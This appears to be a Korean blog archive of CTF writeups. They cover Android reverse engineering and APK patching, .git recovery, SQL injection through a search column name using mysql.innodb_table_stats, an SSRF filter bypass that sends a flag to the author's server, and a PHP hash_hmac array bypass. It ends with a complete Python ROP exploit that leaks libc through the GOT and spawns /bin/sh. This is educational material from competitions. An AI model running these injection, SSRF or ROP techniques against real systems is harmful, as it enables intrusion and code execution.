Google CTF 2017 Food

CTF/Writeup 2018. 2. 13. 18:17

일단 다운로드받은 apk파일을 까서 jeb로 확인해보면 자바코드자체는 매우 단순하게 되어있다.

 

 

단순히 JNI로 cook.so파일을 로딩하여 쓰고있는걸 볼 수 있다.

 

ida로 cook.so를 까서 분석을 해봤다.

 

일단 java쪽에서 따로 호출하는 네이티브 메소드도 없었고 마침 JNI_OnLoad함수도 존재해서 여기부터 분석을 시작했다.

 

 

일단 함수 내부를 봤는데 생각보다 코드가 길었고 시작 부분의 코드부터일단 분석해보기로 했다. 코드를 보면 sub_680이라는 함수의 리턴값을 통해 filename, path 등 여러 변수가 세팅되는걸 볼 수 있다. 이를 통해 sub_680함수가 인자값을 토대로 어떠한 문자열을 리턴하는 함수라는걸 대강 유추할 수 있었고 좀더 상세히 분석하기 위해 해당 함수의 내부로 들어가봤다.

 

 

이부분은 분석좀 하다가 넘어갔는데 문제푸는데 큰 지장은 없어서 대충 인자로 들어온값들을 통해 특정문자열이 세팅된 주소를 리턴해 주는 기능을 한다는것만 알고일단 넘어갔다.

 

이후 JNI_OnLoad 코드를 좀더 보다보면 다음과 같이 어떤 파일명으로 파일을 생성한 다음 해당 파일에다가 dex\n035라는 값이 존재하는 주소부터 0x15a8만큼 더한 주소까지의 바이트값들을 쓰고있는 것을 확인 할 수 있었다. 

 

 

dex 포맷의 값을 특정 파일에다 쓰고있는 걸 보아 앱 실행 시 동적으로 임의의 dex파일을 만들고 있다는걸 알 수 있었다.

 

해당 파일의 내용으로 들어갈 byte 값들은 이미 알고있었기 때문에 이 영역의 값들을 긁어다가 dex파일을 임의로 만들어서 어떤 dex파일을 만들어내는지 확인해 보면 될 것 같았다.

 

먼저 1640~2BE7 까지의 값을 긁어서 새로운 dex파일을 만들었다.

 

 

 

해당 dex파일을 디컴파일해서 확인해봤더니 다음과 같은 코드가 나왔다.

 

 

떡하니 flag값이 있길래 이건줄 알았는데 바이트값들을 보니까 아스키로 변환이 안되는 값들이다. 근데 따로 이 값이 사용되거나 하는 곳도 없었다. 여기서 살짝 멘탈이 나갔는데 좀 자세히 보니까 cc라는 메소드가 정의는 되있는데 아무내용이 없는게 눈에들어왔다. 네이티브 메소드도 아닌데 뭐지 싶다가 내가 복구한 dex파일에서 cc메소드 부분이 디컴파일이 제대로 안이루어진 것 같다고 생각해 JNI_OnLoad함수를 다시 분석하기 시작했다.

 

쭉 보다보니 마지막부분쯤에 동적으로 생성한 dex파일을 삭제한다음 sub_710이란 함수가 호출되는 부분이 있었다.

 

 

sub_710함수 내부로 들어가서 뭐하는놈인지 분석을 시작해봤다.

 

 

 

쭉 보다보면 memcpy로 15A0부터 0x90만큼의 바이트들을 xor 0x5A로 돌려서 어떤메모리영역에 쓰고있는걸 볼 수 있었다. 이 영역이 cc함수와 연관되어 있을 거라고 생각했고 동적디버깅을 통해 해당 영역을 확인해보니 동적으로 생성한 dex파일의 0x720영역부터 0x90만큼인 것을 알 수 있었다.

이제 xor 5A한 값을 구하기 위해 일단 스크립트를 짠 뒤 dex파일을 새로만들고 디컴파일을 시도해봤다.  

 

 

 

cc메소드가 정상적으로 디컴파일되어 나온것을 확인할 수 있었다.

 

이제 flag값과 같이 인자로 들어가는 k변수값을 찾아야되는데 이 값은 내가 입력한 값과 특정 byte들을 연산해서 유니코드로 적힌 값과 일치하면 되기때문에 간단히 xor연산해서 값을 구했다.

 

 

이제 이 값을 가지고 플래그랑 같이 특문으로된 이상한 메소드를 실행하면 플래그가 나올 것이다.

자바로 소스를 긁어다가 실행시켜서 돌리면 플래그가 나온다.

 

 

flag = CTF{bacon_lettuce_tomato_lobster_soul}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

다운받은 apk을 디컴파일해서 분석해보면 다음과 같은 핵심메소드를 쉽게 찾을 수 있다.

 

 

뒤부분이 살짝 잘리긴 했지만 isValidLicenceKey 메소드의 결과 값이 참이면 라이센스 등록이 성공하는 루틴이다. 이 때 isValidLicenceKey 메소드의 인자으로 내가입력한 값 , Key값 , IV값 이렇게 세가지 값이 들어간다.

 

일단 여기까지 분석하고 isValidLicenceKey 메소드를 분석해봤다.

 

 

메소드 자체는 간단하다. 입력받은 파라미터 값들을 차례대로 encrypt함수에 넣고 리턴된 암호화값이 29~와 같으면 된다.

 

그럼 이제 encrypt 함수를 분석하면 될 것 같다.

 

 

해당 함수는 AES/CBC 형태로 암호화되고 있는걸 확인할 수 있었다.

 

이제 문제는 입력값을 제외한 key값과 iv값을 알아내야 하는데 어디서 이 값이 세팅되는지 확인해봤다.

 

 

 

 

key값과 iv값이 세팅되는 메소드인데 보면 Sqlite Database 쿼리를 통해 값을 얻어오는 것을 확인할 수 있었다. database 파일은 /data/data/edu.sharif.ctf/databases/db.db 요 경로에 있었고 config 테이블에서 key와 iv를 뽑아오는걸 알 수 있었다.

이제 이 sqlite 데이터베이스 파일가져오기만 하면되는데 해당앱이 루팅탐지를 따로 하고있지 않아서 루팅폰에 앱을 설치한다음 해당 파일을 빼내올 수 있었다.

 

su -

cp /data/data/edu.sharif.ctf/databases/db.db /data/local/tmp/

chmod 777 /data/local/tmp/db.db

adb.exe pull /data/local/tmp/db.db

 

이제 가져온 db.db를 sqlite db browser로 열어서 key, iv값을 확인해봤다.

 

 

iv = a5efdbd57b84ca36

key = 37eaae0141f1a3adf8a1dee655853714

 

그럼 이제 복호화 할 때 필요한 재료가 모두 갖춰졌기 때문에 복호화 코드짜서 그대로 돌려주면 된다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

SECCON Online CTF 2016 Anti-Debugging  (0) 2018.02.26
Google CTF 2017 Food  (0) 2018.02.13
SECCON CTF 2015 reverse-engineering-android-apk-1  (0) 2018.02.12
nullcon CTF 2018 web2  (0) 2018.02.12
Easy CTF 2018 Nosource, Jr.  (0) 2018.02.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

다운로드 받은 apk파일을 설치하고 보면 다음과 같이 가위바위보 개념의 화면이 나온다.

 

 

이기면 점수가 오르는 형태의 앱인것 같다.

 

디컴파일해서 핵심 로직을 보면 다음과 같다.

 

 

cnt 변수값이 이겼을때 오르는 점수를 의미하고 이 값이 1000일 때 플래그가 나온다. 플래그에 해당하는 값을 보면 (cnt+calc())*107 인데 calc()함수는 calc.so 파일 내부에 정의되어 있는걸 확인할 수 있다.

 

해당 라이브러리 파일 내의 calc()함수를 보면 간단히 7이라는 값을 리턴하고 있는걸 볼 수 있다.

 

 

그럼 결국 플래그값은 (1000+7)*107 값일 것이다.

 

실제로 확인해보기 위해 cnt 최초값을 998로 맞춘다음 2점만 더 획득하면 플래그가 나오게 한 뒤 게임에서 지면 cnt값이 0으로 초기화되는 부분을 아예 삭제시켜버렸다.

 

 

요렇게 세군데 영역을 패치했다.

const v1, 0x3E6 추가

빨간박스 두군데 삭제

 

이제 앱을 재설치하고 실행한뒤 게임에서 2번이기면 플래그가 나온다.

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

Google CTF 2017 Food  (0) 2018.02.13
su ctf 2014 (Reverse 200) Commercial Application!  (0) 2018.02.13
nullcon CTF 2018 web2  (0) 2018.02.12
Easy CTF 2018 Nosource, Jr.  (0) 2018.02.11
Codegate 2018 Welcome to droid  (0) 2018.02.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

nullcon CTF 2018 web2

CTF/Writeup 2018. 2. 12. 11:23

들어가보면 다음과 같이 아무기능이없는 페이지 하나가 나온다. 최근 ctf 풀면서 robots.txt랑 .git은 무조건 확인하고 시작하는게 정신건강에 좋다는걸 깨달아서 두개다 확인해보니 .git 디렉터리가 디렉터리 리스팅 되는걸 확인할 수 있었다.  

 

 

 

git을 따로 사용해보지도 않았고 제대로 공부해본적도 따로 없어서 ctf에서 쓸만한 간단한 명령어정도만 알고있는 상태라 이번문제풀면서 제대로한번 사용해보고 공부해봐야겠다고 느꼈다.

 

일단 지금까지 풀어본 ctf에서 git을 활용하는 측면을 보면 보통 현재 존재하는 파일들의 코드를 분석하기보다는 특정시점에 삭제된 파일들을 포인트로 잡고 복구해서 분석하는 형식이 많았다. 그래서 일단 바로 해당 git디렉터리를 모두 다운로드받은 후 로그를 출력해봤다.

 

 

 

 

위의 로그를 보면 특정 파일들이 추가된 후에 다시 삭제된 것을 확인할 수 있다. 파일이 추가되고 삭제되기전인 시점으로 돌아가 삭제된 파일들 목록을 일단 살펴봤다.

 

 

목록을 보면 3e~디렉터리에 index.php라는 파일이 존재했던걸 볼 수 있었고 해당 디렉터리에 일단 접근을 해봤다.

 

 

간단한 로그인화면이 있었고 해당 페이지의 소스를 확인해보기 위해 삭제된  index.php의 내용을 확인해 봤다.

 

giti show 096a77768a37271151786b67af92c2ca82760dff

 

 

 

 

 

코드를 보면 checklogin함수를 통해 입력값 검증을 하는데 아이디는 passwordisinrockyou , password는 crc32를 돌린 후의 값이 550274426이면 되는 걸 알 수 있었다.

 

패스워드를 구하기 위해 사전파일을 다운받은다음 파이썬 스크립트를 짜서 돌렸다.

 

 

요런식으로 패스워드가 나왔고 실제로 로그인해보면 플래그가 나온다.

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 flag를 입력하는 부분이 하나있다.


코드를 보면 다음과 같이 내가입력한 값과 global.encryptionKey값을 process함수에서 돌린다음 base64로 인코딩한 값이 소스상에있는 flag값과 같으면 된다.





process함수는 내가 입력한 flag값과 global.encryptionKey값을 아스키코드로 변환한 후 xor한 값을 다시 문자열로 변환하는 함수였다.


일단 global.encryptionKey값을 모르기 때문에 process함수안에 global.encryptionKey를 출력하는 코드를 삽입안 후 확인해보니 요런 값이 나왔다.




이제 이 값과 소스상에 나와있는 base64 인코딩된 flag값을 디코딩한 값을 아스키값으로 변환한후 xor해주면 내가 입력할 flag값을 구할 수 있다.


payload 







'CTF > Writeup' 카테고리의 다른 글

SECCON CTF 2015 reverse-engineering-android-apk-1  (0) 2018.02.12
nullcon CTF 2018 web2  (0) 2018.02.12
Codegate 2018 Welcome to droid  (0) 2018.02.09
Codegate 2018 Simple Cms Write up  (0) 2018.02.04
AceBear Security Contest 2018 BearShare2 Write up  (0) 2018.01.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

다운받은 apk을 분석하기 전에 일단 설치를 해봤다.

근데 apkmanager로 디컴파일 후 리패키징할 때 자꾸 이상한에러가떴다.

그래서그냥 apktool.jar랑 sign.jar을 이용해서 직접 리패키징 및 사이닝을 한 후에 설치를 해봤다.

 

디컴파일

 

 

여기서 바로 리패키징 하려했더니 에러가 터졌다.

 

 

에러를 보니 abc_screen_toolbarxml파일에서 Keyboard어쩌고 속성때매 에러가 났길래 해당 파일에가서 이 부분을 삭제시켜버렸다. 

 

 

이후 다시 리패키징을 하면 정상적으로 apk파일이 만들어진다.

 

 

이제 signing을 해준 후 파일을 설치해봤다.

 

 

 

근데 위의 에러가 터지면서 앱 설치가 안됬다. 뭐지하면서 여기저기 뒤져보다가 Manifast.xml에서 요런걸 발견했다.

 

 

testonly란 옵션이 뭔진 잘몰랐지만 에러구문이랑 상당히 유사해 일단 false로 바꾸고 다시 설치를 해봤더니 정상적으로 설치가 됬다.

 

 

이제 분석좀 시작해봐야겠다하고 일단 앱을 켜봤는데 앱이 실행이 안됬다. ㅋㅋ

 

여기서 멘탈이 나갈뻔 했는데 일단 코드라도 분석해보자하고 앱 코드를 좀 봤다.

 

일단 앱 자체는 상당히 작은편이었고 앱 실행 시 가장먼저 실행되는 MainActivity코드를 확인해봤더니 k라는 메소드가 false로 리턴값을 떨궈서 앱이 꺼지는걸 확인할 수 있었다.

 

 

 

smali코드에서 k메소드의 리턴값이 무조건 true로 떨어지도록 수정한 후 다시 설치해보니 앱이 정상적으로 실행되었다.

 

 

 

 

이제부터 실직적인 앱 분석을 시작해봤다.

 

앱자체가 매우 작고 코드가 간단해 분석이 어렵지는 않았다.

먼저 맨 처음 화면인 MainActivity에서는 다음과 같이 아이디값에 대한 길이 검증을 한 후 MainActivity2로 아이디값을 포함해 넘어간다.

 

 

 

다음으로 Main2activity를 보면 어떠한 랜덤값과 내가 입력한 패스워드가 같은지 검증한 후 일치하면 아이디와 패스워드 값을 담아 MainActivity3으로 넘어간다.

 

 

 

다음으로 Main3activity도 위와 같이 어떠한 랜덤한 시리얼키값과 내가 입력한 값을 비교한다. 일치하면 Main4Activity로 넘어간다.

 

 

 

마지막으로 Main4activity를 보면 해당 Activity가 호출되면 JNI를 통해 native-lib 라이브러리를 로드해 stringFromJNI라는 네이티브 메소드의 결과값을을 뿌려준다.

 

 

즉 여러개의 입력값 검증을 모두 우회해서 Main4Activity만 띄우면 된다.

 

패스워드입력값 검증 부분과 시리얼키값 검증부분을 변조하거나 아니면 앱실행시 메인 엑티비티를 Main4Activity로 만들어서 앱실행과 동시에 Main4Activity가 실행되도록 하는 두가지 방법이 있었다.

 

위의 두가지 방법중 입력값 검증부분들을 우회하는 식으로 코드를 패치했다.

 

 

 

 

 

 

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

nullcon CTF 2018 web2  (0) 2018.02.12
Easy CTF 2018 Nosource, Jr.  (0) 2018.02.11
Codegate 2018 Simple Cms Write up  (0) 2018.02.04
AceBear Security Contest 2018 BearShare2 Write up  (0) 2018.01.29
AceBear Security Contest 2018 BearShare Write up  (0) 2018.01.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

 

 

 

 

일단 기본적으로 소스코드를 모두 제공해 준다.

 

 

코드먼저 분석해도 되지만 일단 문제자체의 어떤 기능이 있는지 직접 확인해봤다.

 

회원가입, 로그인, 패스워드 변경, 게시판 검색, 게시글 조회, 쓰기 요정도 기능이 있었다.

 

일단 기능자체가 너무적었고 해볼만한게 SQLi정도밖에없었는데 코드 안보고 그냥 테스트겸  때려봤을때는 터지는 곳이 한군데도 없었다.

 

일단 코드를 좀 봤는데 일단은 pre-compiled 형태로 쿼리가 구성되어있지는 않았다. 근데 필터링 함수랑 addslashes가 있었다.

 

 

필터링 키워드들은 그렇다 치더라도 일단 addslashes를 우회해야 뭘 하던말던 할 수 있었는데 mb_convert_encoding이나 배열형태의 파라미터도 없었고 정수형으로 처리되는 곳도 없었다. 그래서 order by나 column , table쪽으로 들어가는 쪽으로 유심히 보다가 요부분을 찾았다.

 

 

게시글 검색할때 처리하는 부분인데 입력값이 이미 필터 함수를 통해 한번 싹 검증을 거친뒤에 요 get_search_query 함수로 들어가고 해당 함수를 보면 내가 입력한 값이 컬럼명이랑 검색할 값에 세팅되는걸 볼 수 있었다.

이 때 컬럼명에 title# , 검색값에 %0a)# 요런식으로 넘겨주면 LOWER(title#) like '%%0a)#~ 요런식으로되서 인젝션이 터지는걸 확인할 수 있었다.

 

필터링 함수내에 union이랑 select이 없었기 때문에 실제로 테스트해보면 인젝션이 먹히고 있는걸 볼 수 있었다. 

 

 

이제 플래그를 찾아야 되는데 일단 information이 필터링당하고 있어서 information_schema는 쓸수가 없었다. 다운로드 받은 소스 내에 포함된 텍스트파일에 flag 테이블의 구조가 있었는데 테이블명과 컬럼명이 모두 난수화된 값으로 박혀있는 상황이라 난감한 상황이었다.

 

 

 

일단 현재 db유저 권한이 mysql db에 접근 가능한지 확인해 봤는데 다행히 권한이 있었다.

 

그래서 테이블명은 간단히 mysql.innodb_table_stats 요걸 이용해서 구해줬다.

 

 

 

이제 컬럼명을 구해서 flag값을 뽑아야되는데 어차피 테이블명알고 union이 되서 다이렉트로 뽑으려고 시도했는데 왜인지 모르게 아무값도 튀어나오지가 않았다.

 

 

여기서 삽질좀하다가 곰곰히 생각해봤다. 일단 출력되는 컬럼은 1,2,4번째 칼럼인데 union select *,1 from flag테이블 일케해주면 플래그테이블컬럼1,플래그테이블컬럼2,플래그테이블컬럼3,플래그테이블컬럼4,1 요렇게 실제로는 들어갈거고 플래그테이블컬럼1,플래그테이블컬럼2,플래그테이블컬럼4 요게 출력이 되고 있었을 거라고 생각했다. 근데 아무것도안나오는거보니 실제 플래그는 플래그테이블컬럼3 요지점에 있을거라고 생각했고 이걸 뽑으려고 요렇게 값을 넣어봤다.

 

union select 1,* from flag테이블

 

요게 들어가면 1,테이블컬럼1,플래그테이블컬럼2,플래그테이블컬럼3,플래그테이블컬럼4 이렇게되서 플래그테이블컬럼3이 나올거라고 생각했는데 이건 문법자체가 안되는거라 에러가터졌다.

 

요기서 wargame.kr adm1nky인가 요문제에서 컬럼명 모를때 데이터뽑는 쿼리가 생각나서 시도해봤더니 정상적으로 플래그가 뽑혔다.

 

 

 

풀고나서

union select 1,* from flag테이블  요런식으로는 왜 못써먹지하면서 이것저것해보다가 테이블명에 alias를 주면 union select 1,t.* from flag테이블 as t 요렇게 쓸 수 있다는걸 알았다.

 

 

요런식으로도 가능하다.

 

 

 

 

 

 

 

   

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

1단계와 같은 환경인데 다른포인트에서 인증값을 얻어야한다.

 

코드를 쭉 보다보니.

 

 shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');

 

요부분에서 뭔가 터질것 같았고 url부분을 내가 원하는값으로 완전히 컨트롤할 수 있도록 이전단계에서 했던 방식으로 $url에 messid 파라미터 값만 박힐 수 있도록 해준 뒤 url를 1로 만들어서 넘겨봤다.

 

 

입력값이 route.local 서버 경로에 입력되서 요청되고 있는걸 확인할 수 있었다. 대충 SSRF일거라고 느낌이 왔고 일단 뭔가 정보가 더 필요했는데 이전단계에서 호되게 한번 당해서 바로 robots.txt를 요청해봤더니 요렇게 응답이 왔다.

 

 

바로 해당파일을 확인해봤더니 요런식으로 코드를 볼 수 있었다.

 

 

무슨파일인진 모르겠지만 url값이 존재하면 헤더값에 flag값을 같이 포함시켜서 요청받은 url로 flag를 넘겨주는 코드였다.

 

일단 해당코드가 어느파일건지 확인해야했는데 다행히 index.php파일이 존재했고 해당파일에 url로 내 서버쪽으로으로 flag를 보내면 됬었다.

 

근데 문제가 하나더 있었는데

 

    function filter($x){
        $x = (string)$x;
        if(preg_match('/http|https|\@|\s|:|\/\//mi',$x)){
            return false;
        }
        return $x;
    }

 

요 필터링때문에 http://내아이피 요걸 써줄수가 없었다.

 

근데 일단 http://는 //로 대체가 가능하기때문에 상관이없었고 //또한 필터링되고 있어 우회를 해야했는데 더블인코딩이 먹히는 상황이라 우회가 가능했다.

 

이제 내서버에 flag값 읽어서 출력해주는 파일하나만들어놓고 이쪽으로 요청하도록 url값 넘겨줬더니 flag가 출력됬다.

 

 

 

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 메시지 입력하는 기능과 해당 메시지를 다운로드하는 기능이 있다.

 

 

 

여기서 처음에 입력값을 xml형태로 보내면 파싱해서 뿌려주길래 xxe겠네 하면서 계속 시도를해봤는데

external Entitiy가 활성화가 안되있어서 뭐 어쩔수가 없었다.

 

여기서 한참 멘붕에 빠져있다가 혹시몰라서 robots.txt들어가봐더니 그냥 소스를 볼수있었다. ㅡㅡ

ctf풀때는 무조건 한번은 그냥 접근해봐야 될것같다.

 

 

 

 

download.txt 소스를 보면 다음과 같은데 처음에 shell_exec부분에서 escapeshellarg가 취약점을 터질것 같아서

시도해봤는데 버전이 5.2점대가 아니라 취약점이 안터졌었다.

 

 

그래서 storagesy 파라미터 부분을 gimmeflag로 만들어야 했는데 위의 validate_hash함수에서 차단을 당하고

있었다. nonce 파라미터로 인해 만들어진 key값으로 storagesy 파라미터값이 동적으로 계속 세팅되기 때문에

마지막 if($final_hash !== $_POST['hash']){ die('Cannot verify server');} 요영역에서 계속 필터링이 걸릴 수

밖에 없었다.

 

이걸 우회를 해야하는데 hash_hmac함수에서 뭔가 터져줘야할것같았다. php함수들은 인자로 문자열대신

배열이 오는경우 예상하지못한 결과가 자주나와서 일단 $S_KEY = hash_hmac('sha256',$_POST['nonce'],$S_KEY);

요 부분에서 2번째 파라미터값을 배열로 주게되며 어떻게되는지 로컬에서 테스트를 해봤다.

 

 

두번째 인자로 배열이 들어오면 에러가터지면서 함수가 제대로 동작안하는걸 볼 수 있었고 에러가터질경우

리턴값이 NULL로 떨어지는걸 확인할 수 있었다.

 

그렇다면 KEY값이 NULL값이기때문에 storagepy 파라미터값이 gimmeflag일때의 hash값이 고정되어진

상황이었고 해당값을 구해서 넘겨주니 flag가 나왔다.

 

 

 

 

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

환경구성은 다음과 같이 해줬다.





일단 바이너리를 실행해보면 어떤값을 입력하면 WIN이라는 문자열이 출력되고 일정값 이상 넣게되면 WIN 문자열을 출력하지 않는 것을보아 Buffer overflow가 일어난걸 알 수 있다.



보호기법을 확인해보면 다음과 같이 NX가 걸려있는걸 볼 수 있다.



현재 서버에선 라이브러리 영역에 ASLR이 활성화가 되어있기 때문에 ROP로 쉘을 따야한다.


우선 바이너리의 로직을 분석하기 위해 IDA로 보면 단순히 read를 통해 값을 입력받고 WIN을 출력해주는 프로그램이었고 read함수에서 입력값 검증이 없어서 bof가 터지는걸 알 수 있다.




일단 RET까지의 거리를 확인해보면 다음과같이 136+SFP+RET인걸 알 수 있다.



다음으로 이제 ROP 시나리오를 짜야하는데


"A"*140 + 

read@plt + pppr Gadget + stdin(0) + /bin/sh문자열 담을주소 + /bin/sh문자열 길이

write@plt + pppr Gadget + stdin(1) + read@got + 4

read@plt + pppr Gadget + stdin(0) + system주소 + 4

read@plt + "AAAA" + /bin/sh문자열 담을주소


요런식으로 전체적인 흐름을 짰다.


이제 하나하나 값을 구해주면 된다.


read@plt = 0x0804832c




read@got = 0x0804961c




write@plt = 0x0804830c




pppr Gadget = 0x080484b6






/bin/sh문자열담을주소 = 0x08049530


/bin/sh문자열을 담을 주소같은 경우 aslr이 걸려있지 않은 .bss영역을 활용하려했는데 4바이트밖에값을 못넣어서 .dynamic영역을 대신 사용해줬다.




system주소 = read함수값 - 0x8E8B0


system함수의 주소와 같은경우 aslr때문에 값이 동적으로 바뀌게 때문에 read함수와의 offset 차이를 구한뒤 동적으로 익스플로잇시에 read함수의 값에 offset차이를 더해서 system함수의 주소를 구하기 위해 read와 system함수의 offset차이를 구했다.



0x48af40 - 0x3fc690 = 0x8E8B0




이제 구한값으로 익스플로잇해주면된다.

import struct

from socket import *

from time import *



host = '127.0.0.1'

port = 6666


s = socket( AF_INET, SOCK_STREAM, 0)

s.connect( ( host, port ) )



p = lambda x:struct.pack("<L",x)

up = lambda x:struct.unpack("<L",x)[0]


dynamic =  0x08049530

write_PLT = 0x0804830c

read_PLT = 0x0804832c

read_GOT = 0x0804961c

pppr_gadget = 0x080484b6

read_system_off = 0x8E8B0

bin_sh = "/bin/sh"

lenbin_sh = len(bin_sh)

pay = "A"*140


pay += p(read_PLT)

pay += p(pppr_gadget)

pay += p(0)

pay += p(dynamic)

pay += p(lenbin_sh)


pay += p(write_PLT)

pay += p(pppr_gadget)

pay += p(1)

pay += p(read_GOT)


pay += p(read_PLT)

pay += p(pppr_gadget)

pay += p(0)

pay += p(read_GOT)

pay += p(4)


pay += p(read_PLT)

pay += "AAAA"

pay += p(dynamic)



s.send(pay)

sleep(1)

s.send(bin_sh)

read = up(s.recv(4))

print hex(read)


system = read - read_system_off

print hex(system)


s.send(p(system))

s.send("id\n")

sleep(6)

print s.recv(1024)






























블로그 이미지

JeonYoungSin

메모 기록용 공간

,